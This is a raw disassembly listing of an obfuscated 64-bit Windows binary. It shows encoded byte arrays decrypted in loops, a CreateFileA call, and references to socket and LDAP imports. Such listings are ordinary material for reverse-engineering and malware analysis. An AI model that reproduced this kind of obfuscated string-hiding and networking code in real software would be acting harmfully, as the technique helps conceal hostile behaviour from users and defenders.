jmp 0x14011e26d
movabs rcx, 0x8335b4f2aba35e04
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x530]
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x14011e2f1
movabs rdx, 0x7287b89d67a3b62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e325
movabs rcx, 0xf13d97f006b97006
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x14011e2bb
movabs rdx, 0xe2a1003426e3931e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e249
movabs rcx, 0xd4046878470db636
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
movabs rcx, 0xf8404325c3c2f856
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, cl
mov byte [rbp + r10 + 0x530], r9b
jmp 0x14011e246
movabs rdx, 0xbe1984de774ceada
mov ecx, 5
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
add r11, r15
sub r10, r15
jmp 0x14011e38a
movabs rdx, 0xaf7ced2297770df2
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xff8e8f03b3ade6ca
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x530], dl
jmp 0x14011e2bb
movabs rcx, 0xa82ea144a78c1f7e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011e38a
mov r9, r8
movabs rdx, 0x99920988c7b64296
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
add bl, dl
movabs rdx, 0x6dcdae1a398d53e
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x530], al
add r11, r15
add rax, r11
sub r10, rax
movabs rcx, 0x8a8400d09b8e4c78
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, cl
mov byte [rbp + r10 + 0x530], r9b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14011e37b
movabs rdx, 0x8af571cce7e065ae
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x530]
add rax, r11
add r10, rax
add r10, r15
jmp 0x14011d85c
movabs rdx, 0x65d6b526d286f122
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011d855
movabs rdx, 0x5e886948e29c02ae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011d845
lea rcx, [rbp + 0x16c2028]
jmp 0x14011e3f7
lea rcx, [rbp + 0xa19762]
jmp 0x14011e3f7
lea rcx, [rbp + 0x530]
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140123510
mov byte [rbp + 0xb90], 0x9b
mov byte [rbp + 0xb91], 0x59
mov byte [rbp + 0xb92], 0x80
mov byte [rbp + 0xb93], 0x5b
mov byte [rbp + 0xb94], 0xa0
mov byte [rbp + 0xb95], 0x45
mov byte [rbp + 0xb96], 0xbb
mov byte [rbp + 0xb97], 0x47
mov byte [rbp + 0xb98], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xb99], 0x41
mov byte [rbp + 0xb9a], 0xaf
mov byte [rbp + 0xb9b], 0x43
mov byte [rbp + 0xb9c], 0xde
mov byte [rbp + 0xb9d], Ordinal_79
mov byte [rbp + 0xb9e], 0xdd
mov byte [rbp + 0xb9f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xba0], 0xac
mov byte [rbp + 0xba1], Ordinal_79
mov byte [rbp + 0xba2], 0x86
mov byte [rbp + 0xba3], Ordinal_79
mov byte [rbp + 0xba4], 0x99
mov byte [rbp + 0xba5], 0x75
mov byte [rbp + 0xba6], 0x98
mov byte [rbp + 0xba7], 0x77
mov byte [rbp + 0xba8], __WSAFDIsSet
mov byte [rbp + 0xba9], WSACleanup
mov byte [rbp + 0xbaa], 0xef
mov byte [rbp + 0xbab], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xbac], 0xe8
mov byte [rbp + 0xbad], 0x7d
mov byte [rbp + 0xbae], 0xe2
mov byte [rbp + 0xbaf], 0x7f
mov byte [rbp + 0xbb0], 0x9c
mov byte [rbp + 0xbb1], 0x79
mov byte [rbp + 0xbb2], 0xbb
mov byte [rbp + 0xbb3], 0x7b
mov byte [rbp + 0xbb4], 0xf4
mov byte [rbp + 0xbb5], 0x65
mov byte [rbp + 0xbb6], 0xf6
mov byte [rbp + 0xbb7], 0x67
mov byte [rbp + 0xbb8], 0xac
mov byte [rbp + 0xbb9], 0x61
mov byte [rbp + 0xbba], 0x83
mov byte [rbp + 0xbbb], 0x63
mov byte [rbp + 0xbbc], 0xf0
mov byte [rbp + 0xbbd], WSASetLastError
mov byte [rbp + 0xbbe], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xbbf], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xbc0], Ordinal_143
mov byte [rbp + 0xbc1], WSAGetLastError
mov byte [rbp + 0xbc2], 0xa7
mov byte [rbp + 0xbc3], WSASetLastError
mov byte [rbp + 0xbc4], 0x88
mov byte [rbp + 0xbc5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xbc6], 0xfe
mov byte [rbp + 0xbc7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xbc8], 0xfd
mov byte [rbp + 0xbc9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xbca], 0x80
mov byte [rbp + 0xbcb], reloc.WS2_32.dll_send
mov byte [rbp + 0xbcc], 0xfd
mov byte [rbp + 0xbcd], Ordinal_32
mov byte [rbp + 0xbce], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xbcf], Ordinal_32
mov byte [rbp + 0xbd0], 0xfa
mov byte [rbp + 0xbd1], Ordinal_27
mov byte [rbp + 0xbd2], 0xf3
mov byte [rbp + 0xbd3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xbd4], __WSAFDIsSet
mov byte [rbp + 0xbd5], 5
mov byte [rbp + 0xbd6], 6
mov byte [rbp + 0xbd7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbd8], xmm0
mov qword [rbp + 0xbe8], rax
mov dil, byte [rsp + 0x50]
movabs rsi, 0x9ef08ee37fe4627c
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x60
jae 0x14011f047
movzx r8d, byte [rbp + r10 + 0xb90]
mov edx, r8d
cmp rbx, r10
ja 0x14011f03e
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14011e695
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x2c
jmp 0x14011e6c2
je 0x14011efc3
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14011ef71
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14011ef11
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14011eeea
cmp r9, r10
ja 0x14011f035
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14011e6f1
lea rcx, [r10 + rsi]
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x14011e725
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14011ee9e
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14011ee7a
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14011ee57
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14011ee33
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14011ea5c
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14011ea39
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14011ea25
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14011ea01
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14011e9dd
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14011e9ba
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14011e993
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14011f01a
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14011eff6
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14011e84a
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14011e97c
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14011e94d
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14011e732
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14011e939
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14011e928
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14011e905
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14011e8de
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14011e8b7
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14011e893
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14011e870
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14011e732
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x14011e725
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14011eebc
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14011eee5
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011ef09
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011ef61
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x14011edf7
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14011e9a2
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14011eb45
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xb90], dil
jmp 0x14011efee
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14011ea72
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011ef8e
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14011edf7
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14011ef61
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14011ef09
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14011ee89
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14011eebc
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14011eb2d
lea rdx, [r10 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14011edd0
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14011ec12
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x80
jae 0x14011eda8
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14011ecb8
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x14011e96f
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14011eebf
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14011eb5d
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011efdf
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14011eb89
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14011edf7
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011ebb6
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14011ef5e
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14011ebe2
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x14011ef30
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14011ea82
movabs rdx, 0x6dd559e20be47db8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14011eebc
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14011ec3e
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x14011eebc
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011ec5b
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14011ee89
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14011ec88
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14011ef61
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14011eabf
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14011edfa
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14011ecd5
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14011eb45
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011ed01
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x14011e9b2
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14011ed2e
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14011ef5e
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14011ed4b
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14011ef20
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14011ed78
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14011ef09
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14011eafb
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14011eee5
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xb90]
sub dil, al
sub dil, 0x20
jmp 0x14011ef2d
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xb90]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xb90], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x14011ef8e
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x14011ef61
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x14011ef30
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011eee5
movabs rdx, 0x64ef1666e167d994
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r10 + 0xb90], r8b
add r9, r15
jmp 0x14011ef09
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, r15
jmp 0x14011efee
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, dil
mov byte [rbp + r10 + 0xb90], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011efee
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xb90], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14011efdf
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xb90]
add rax, r9
add r10, rax
add r10, r15
jmp 0x14011e653
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x14011e650
lea rcx, [r10 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x14011e640
lea rdx, [rbp + 0x16a0da0]
jmp 0x14011f04e
lea rdx, [rbp + 0x6bc92c]
jmp 0x14011f04e
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0x3c0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
mov esi, 0x108
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x17d0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011f085
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x17d0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x17d0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x17d0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x800], 0x9b
mov byte [rbp + 0x801], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x802], 0x90
mov byte [rbp + 0x803], 0xdb
mov byte [rbp + 0x804], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x805], Ordinal_217
mov byte [rbp + 0x806], 0x7b
mov byte [rbp + 0x807], Ordinal_217
mov byte [rbp + 0x808], 0x43
mov byte [rbp + 0x809], Ordinal_211
mov byte [rbp + 0x80a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x80b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x80c], 0x5e
mov byte [rbp + 0x80d], Ordinal_211
mov byte [rbp + 0x80e], 0x5d
mov byte [rbp + 0x80f], Ordinal_211
mov byte [rbp + 0x810], WSASetLastError
mov byte [rbp + 0x811], 0xc9
mov byte [rbp + 0x812], 0x7a
mov byte [rbp + 0x813], 0xcb
mov byte [rbp + 0x814], Ordinal_79
mov byte [rbp + 0x815], Ordinal_200
mov byte [rbp + 0x816], 0x64
mov byte [rbp + 0x817], Ordinal_200
mov byte [rbp + 0x818], 0x54
mov byte [rbp + 0x819], 0xc1
mov byte [rbp + 0x81a], 0x5b
mov byte [rbp + 0x81b], Ordinal_200
mov byte [rbp + 0x81c], 0x9f
mov byte [rbp + 0x81d], 0x3d
mov byte [rbp + 0x81e], 0x9a
mov byte [rbp + 0x81f], 0x3f
mov byte [rbp + 0x820], 0x84
mov byte [rbp + 0x821], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x822], 0xa8
mov byte [rbp + 0x823], Ordinal_60
mov byte [rbp + 0x824], 0xad
mov byte [rbp + 0x825], gethostname
mov byte [rbp + 0x826], 0xb8
mov byte [rbp + 0x827], Ordinal_60
mov byte [rbp + 0x828], 0xad
mov byte [rbp + 0x829], Ordinal_50
mov byte [rbp + 0x82a], 0xa0
mov byte [rbp + 0x82b], gethostname
mov byte [rbp + 0x82c], 0xbf
mov byte [rbp + 0x82d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x82e], 0x78
mov byte [rbp + 0x82f], Ordinal_50
mov byte [rbp + 0x830], Ordinal_143
mov byte [rbp + 0x831], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x832], 0xb3
mov byte [rbp + 0x833], Ordinal_46
mov byte [rbp + 0x834], 0xb2
mov r14d, Ordinal_41
mov byte [rbp + 0x835], r14b
mov byte [rbp + 0x836], Ordinal_41
mov byte [rbp + 0x837], Ordinal_41
xor eax, eax
mov qword [rbp + 0x838], rax
mov dword [rbp + 0x840], eax
mov word [rbp + 0x844], ax
mov byte [rbp + 0x846], al
mov bl, byte [rsp + 0x50]
lea r12d, [r14 + 0xf]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x14011fd93
movzx r8d, byte [rbp + r9 + 0x800]
mov rdx, r8
cmp rdi, r9
ja 0x14011fd8a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14011f2d3
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x14011f30a
je 0x14011fd07
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011fcd8
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011fcb6
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14011fc68
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14011fd81
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14011f33b
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14011f37c
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14011fc57
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011fc34
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011fbec
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14011fbc6
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14011fb3b
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14011f7da
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011f7b4
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14011f792
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14011f77e
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14011f75c
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14011f736
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14011f714
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14011f702
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14011fd5f
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14011fd39
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14011f52a
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14011f504
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14011f4e2
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14011f6eb
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14011f665
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14011f63f
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14011f61d
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14011f609
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14011f5e7
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14011f5c5
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14011f5a4
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14011f582
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14011f56e
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14011f54c
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14011f389
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14011f389
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14011f37c
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011f30a
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14011f29b
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x14011fc89
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x14011f919
